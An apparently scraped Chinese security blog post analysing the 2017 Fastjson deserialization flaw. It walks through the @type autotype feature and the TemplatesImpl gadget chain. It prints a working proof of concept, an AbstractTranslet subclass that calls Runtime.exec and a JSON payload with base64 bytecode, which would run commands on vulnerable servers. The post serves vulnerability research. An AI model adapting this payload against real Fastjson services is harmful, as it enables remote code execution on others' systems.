Fastjson反序列化漏洞研究

0x01 Brief Descriptionhtml

  java處理JSON數據有三個比較流行的類庫,gson(google維護)、jackson、以及今天的主角fastjson,fastjson是阿里巴巴一個開源的json相關的java library,地址在這裏,https://github.com/alibaba/fastjson,Fastjson能夠將java的對象轉換成json的形式,也能夠用來將json轉換成java對象,效率較高,被普遍的用在web服務以及android上,它的JSONString()方法能夠將java的對象轉換成json格式,一樣經過parseObject方法能夠將json數據轉換成java的對象。大概在4月18號的時候,fastjson進行了一次安全更新,通告在這裏https://github.com/alibaba/fastjson/wiki/security_update_20170315,當時對這也不熟悉,斷斷續續看了幾天也沒什麼收穫(主要是由於太菜了TAT)。最近有人出了poc以及分析的文章就跟進了一下,漏洞仍是挺有意思。java

0x02 fastjson簡單使用介紹android

  工欲善其事,必先利其器,要想研究這個漏洞,就要先要了解這個fastjson是幹什麼的。本身研究了一下這個類庫。User.java code以下:git

package fastjsonVul.fastjsonTest;

public class User {
    public String Username;
    public String Sex;
    public String getUsername() {
        return Username;
    }
    public void setUsername(String username) {
        Username = username;
    }
    public String getSex() {
        return Sex;
    }
    public void setSex(String sex) {
        Sex = sex;
    }


}

 

  testFastJson.java code以下:github

package fastjsonVul.fastjsonTest;
import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import fastjsonVul.fastjsonTest.User;
public class testFastJson {
        
    public static void main(String[] args){
        Map<String, Object> map = new HashMap<String, Object>();
        map.put("key1","One");
        map.put("key2", "Two");
        String mapJson = JSON.toJSONString(map);    
        System.out.println(mapJson);
        
        User user1 = new User();
        user1.setUsername("xiaoming");
        user1.setSex("male");    
        System.out.println("obj name:"+user1.getClass().getName());
        
        //序列化
        String serializedStr = JSON.toJSONString(user1);
        System.out.println("serializedStr="+serializedStr);
        
        String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
        System.out.println("serializedStr1="+serializedStr1);
        
        //經過parse方法進行反序列化
        User user2 = (User)JSON.parse(serializedStr1);
        System.out.println(user2.getUsername());
        System.out.println();
        
        //經過parseObject方法進行反序列化  經過這種方法返回的是一個JSONObject
        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println("obj name:"+obj.getClass().getName()+"\n");
        
        //經過這種方式返回的是一個相應的類對象
        Object obj1 = JSON.parseObject(serializedStr1,Object.class);
        System.out.println(obj1);
        System.out.println("obj1 name:"+obj1.getClass().getName());
        
    }
}

輸出是這樣web

{"key1":"One","key2":"Two"}
obj name:fastjsonVul.fastjsonTest.User
serializedStr={"Sex":"male","Username":"xiaoming","sex":"male","username":"xiaoming"}
serializedStr1={"@type":"fastjsonVul.fastjsonTest.User","Sex":"male","Username":"xiaoming","sex":"male","username":"xiaoming"}
xiaoming

{"Username":"xiaoming","Sex":"male","sex":"male","username":"xiaoming"}
obj name:com.alibaba.fastjson.JSONObject

fastjsonVul.fastjsonTest.User@18769467
obj1 name:fastjsonVul.fastjsonTest.Userapache

0x03 Fastjson漏洞詳細json

  fastjson漏洞出現的地方也就是JSON.parseObject這個方法上面。安全

  在最開始的時候,只能經過類初始化時候的構造函數或者變量的setter方法執行惡意代碼,像是這樣app

Evil.java


import java.io.IOException;

public class Evil {

public String getName() {
System.out.println("i am getterName!");
return name;
}

public void setName(String name) {
System.out.println("i am setterName!");
this.name = name;
}

public String name;

public int getAge() {
System.out.println("i am getterAge!");
return age;
}

public void setAge(int age) {
System.out.println("i am setterAge!");
this.age = age;
}

private int age;

public Evil() throws IOException{
System.out.println("i am constructor!");
}


}

 

App.java

import com.alibaba.fastjson.JSON;

import java.io.*;

public class App
{
public static void readToBuffer(StringBuffer buffer, String filePath) throws IOException {
InputStream is = new FileInputStream(filePath);
String line; // 用來保存每行讀取的內容
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
line = reader.readLine(); // 讀取第一行
while (line != null) { // 若是 line 爲空說明讀完了
buffer.append(line); // 將讀到的內容添加到 buffer 中
buffer.append("\n"); // 添加換行符
line = reader.readLine(); // 讀取下一行
}
reader.close();
is.close();
}
public static void main( String[] args ) throws IOException
{
StringBuffer Buffer = new StringBuffer();
App.readToBuffer(Buffer,"/Users/m0rk/vul/fastjson/src/demo.json");
Object obj = JSON.parseObject(Buffer.toString());
}
}

demo.json的內容以下 

{
  "@type" : "Evil1",
  "name"  : "M0rk",
  "age"   : "20"

      能夠看到經過@type"特性",就執行了構造函數以及私有和公有成員變量的getter和setter方法。可是這貌似還並無達到咱們想要的結果,由於上面的狀況是須要咱們可以控制Evil這個類(通常是經過文件寫入),目前來看不太現實。

  還有一種方法就是將編譯好的.class或者.jar文件轉換成byte[],而後經過defineClass加載byte[]返回class對象。

安全研究人員發現了這個類

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

這個類存在以下的調用鏈可加載byte[]完成.class文件中對象的實例化,注意MailCiousClass須要繼承AbstractTranslet(在defineTransle方法中存在一個校驗)。更多這個調用鏈參考連接 https://gist.github.com/frohoff/24af7913611f8406eaf3

                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        ClassLoader.defineClass()
                        Class.newInstance()
                          ...
                            MaliciousClass.<clinit>()
                              ...
                                Runtime.exec()

如上圖所示的攻擊調用棧信息,能夠看到和TemplatesImpl調用鏈徹底吻合,最終仍是經過defineclass加載了bytecodes[]致使了命令執行。

Evil.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    }
}

poc.java

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;

import java.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class poc {

    public static String readClass(String cls) {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());

    }


    public static void main(String args[]) throws Exception{
//        final String evilClassPath ="/Users/m0rk/vul/fastjson/src/Evil.class";
//        String evilCode = readClass(evilClassPath);
//        System.out.println(evilCode);
        StringBuffer Buffer = new StringBuffer();
        App.readToBuffer(Buffer, "/Users/m0rk/vul/fastjson/src/evil.json");
        Object obj = JSON.parseObject(Buffer.toString(),Object.class,Feature.SupportNonPublicField);

    }
}

evil.json

{
  "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes" : ["yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAGwEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAHAwAHQAeAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAfACABAARFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAACQAEAAoADQALAAsAAAAEAAEADAABAA0ADgABAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgABAA0ADwACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABABAAAQARAAAAAgAS"],
  "_name" : "M0rk",
  "_tfactory" : {},
  "outputProperties" : {}
}

 

 

0x04 Conclusion

  關於這個漏洞的構造仍是挺精巧,漏洞的利用條件比較苛刻,如要可以利用,開發人員對json的處理函數須要是   JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);

而大部分的開發可能用用JSON.parse(input)就了事兒了,同時使用了parseObject和Feature.SupportNonPublicField設置的估計很少。因此說實際環境中挖掘fastjson的這個漏洞應該是可遇不可求。

0x05 Reference

  1.http://www.cnblogs.com/Jie-Jack/p/3758046.html FastJson的簡單使用

  2.https://ricterz.me/posts/Fastjson%20Unserialize%20Vulnerability%20Write%20Up

  3.https://github.com/alibaba/fastjson/wiki

  4.http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

  5.http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/

  6.http://seclab.dbappsecurity.com.cn/?p=1698

相關文章
相關標籤/搜索